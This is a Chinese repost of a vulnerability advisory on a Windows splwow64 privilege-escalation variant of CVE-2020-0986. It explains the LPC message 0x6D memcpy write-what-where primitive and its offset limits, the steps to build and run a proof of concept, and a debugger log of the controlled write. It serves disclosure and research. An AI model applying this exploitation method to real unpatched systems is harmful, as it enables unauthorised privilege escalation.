首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CVE-2020-0986 Windows: splWOW64 权限提升

CVE-2020-0986 Windows: splWOW64 权限提升

作者头像
Khan安全团队
发布2021-01-11 14:20:41
发布2021-01-11 14:20:41
1.3K00
代码可运行
举报
文章被收录于专栏:Khan安全团队Khan安全团队
运行总次数:0
代码可运行

Windows: splWOW64 权限提升

平台:

Windows 10 2004 (19041.508) Windows 10 2004 (19041.508)

类。特权的提升

摘要:

在野外被利用的CVE-2020-0986[1]没有被修复。该漏洞仍然存在,只是利用方法不得不改变。

一个低完整性的进程可以向splwow64.exe(中等完整性)发送LPC消息,并在splwow64的内存空间中获得一个写什么什么的基元。攻击者通过memcpy调用控制目标、复制的内容和复制的字节数。目标指针计算的偏移量只约束为。

偏移量<= 0x7FFFFFFF

偏移量+结构的感知大小 <= 0x7FFFFFFF

Splwow64将LPC消息传递给GdiPrinterThunk。脆弱的memcpy在消息0x6D中。

与CVE-2020-0986的唯一区别是,对于CVE-2020-0986,攻击者发送的是一个指针,而现在攻击者发送的是一个偏移量。

https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/

概念验证

附上的是一个将0x42424242424242写入0x41414141的POC。附上Visual Studio项目。它必须以x64版本的方式构建才能工作。调试构建将无法连接到LPC端口。

一旦POC构建完成,运行以下命令将其完整性级别设置为低。

icacls splwow64_poc.exe /setintegritylevel L 完整性级别。

将CreateDC.exe移到与splwow64_poc.exe相同的目录中。CreateDC.exe只是一个x86应用程序,它调用CreateDCA来启动splwow64.exe。为了方便起见,我还将CreateDC.exe包含在项目的x64/Release目录下。

CreateDCA("Microsoft XPS Document Writer","Microsoft XPS Document Writer",0,0)。

然后通过点击图标或从cmd行运行POC。(如果你从Visual Studio运行,它不会找到CreateDC.exe):splwow64_poc.exe。

该POC改编自卡巴斯基发布的CVE-2020-0986的POC。它两次触发了memcpy漏洞:先是泄露消息存储的堆地址和偏移量加到什么地方生成指针,然后再进行写什么什么地方。

Debug Log:

代码语言:javascript
代码运行次数:0
运行
复制
Breakpoint 0 hit
gdi32full!GdiPrinterThunk+0x68f:
00007ffb`3de8a51f e8efaf0000      call    gdi32full!memcpy (00007ffb`3de95513)
0:007> r
rax=00000000024e6810 rbx=00000000024e66c0 rcx=0000000041414141
rdx=0000000000b20200 rsi=0000000000b20088 rdi=0000000000000000
rip=00007ffb3de8a51f rsp=000000000245f760 rbp=0000000000000001
 r8=0000000000000008  r9=0000000000000020 r10=00000fff637551fd
r11=2000000000000000 r12=00007ffb1baa8fe0 r13=0000000000785560
r14=000000000072d2d0 r15=00007ffb3de60000
iopl=0         nv up ei ng nz ac po cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
gdi32full!GdiPrinterThunk+0x68f:
00007ffb`3de8a51f e8efaf0000      call    gdi32full!memcpy (00007ffb`3de95513)
0:007> dp rdx
00000000`00b20200  42424242`42424242 00000000`00000000
00000000`00b20210  00000000`00000000 00000000`00000000
00000000`00b20220  00000000`00000000 00000000`00000000
00000000`00b20230  00000000`00000000 00000000`00000000
00000000`00b20240  00040004`00000000 00000000`00000000
00000000`00b20250  00000000`00000000 00000000`00000000
00000000`00b20260  00000000`00000000 00000000`00000000
00000000`00b20270  00000000`00000000 00000000`00000000
0:007> g
(3268.2e88): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ucrtbase!memcpy+0x8b:
00007ffb`3e3e836b 488908          mov     qword ptr [rax],rcx ds:00000000`41414141=????????????????

参考文献:

https://bugs.chromium.org/p/project-zero/issues/detail?id=2096

https://googleprojectzero.blogspot.com/p/rca-cve-2020-0986.html

https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/

https://www.anquanke.com/vul/id/2035005

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-12-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档